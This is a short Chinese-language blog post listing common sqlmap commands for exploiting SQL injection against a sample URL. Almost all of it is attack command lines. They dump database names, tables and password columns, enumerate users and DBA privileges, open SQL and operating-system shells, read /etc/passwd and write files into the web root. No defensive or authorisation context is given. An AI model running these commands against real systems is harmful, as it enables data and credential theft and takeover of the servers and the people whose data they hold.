Sqlmap是一个专业的SQL注入工具,在业内也广受欢迎,用法也很多,具体可以用"sqlmap -hh"查看完整的命令帮助文档,我这只是给大家分享一些最常用的Sqlmap用法:
1#注入篇
①检查注入点
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11
②爆所有数据库信息
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --dbs
爆当前数据库信息
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --current-db
③列出指定数据库所有的表名
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 -D ymlz --tables'ymlz' 为指定数据库名称
④列出指定表名的所有列名
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 -D vhost48330 -T user --columns'user' 为指定表名称
⑤dump打印输出表名指定列名字段的值数据
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 -D vhost48330 -T admin -C name,password --dump'name,password' 为指定字段名称
2#用户权限篇
①列出数据库管理系统用户:
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --users
查看当前连接数据库用户:
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --current-user
②判断当前用户是否是DBA?
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --is-dba
③查看用户权限:
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --privileges root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --privileges -U fujieace
3#文件操作与shell提权篇
①sql shell
这里通过sqlmap可以直接获取一个sql shell,直接执行sql语句进行交互。
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --sql-shell sql-shell> select version();注意:这里由于进入了sql shell,可以执行sql语句,也可以用 load data infile、load_file、into outfile等函数来进行文件读取或写入
②cmd shell
这里通过sqlmap可以直接获取一个cmd shell,直接执行cmd命令进行交互。
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --os-shell root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --os-cmd=ipconfig
③读取服务器上指定文件
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --file-read=/etc/passwd root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --file-read=d:/test.txt
④写入本地文件到服务器上
root@kali:/# sqlmap -u http://192.168.1.1/sql.php?id=11 --file-write /test/test.txt --file-dest /var/www/html/1.txt
发表评论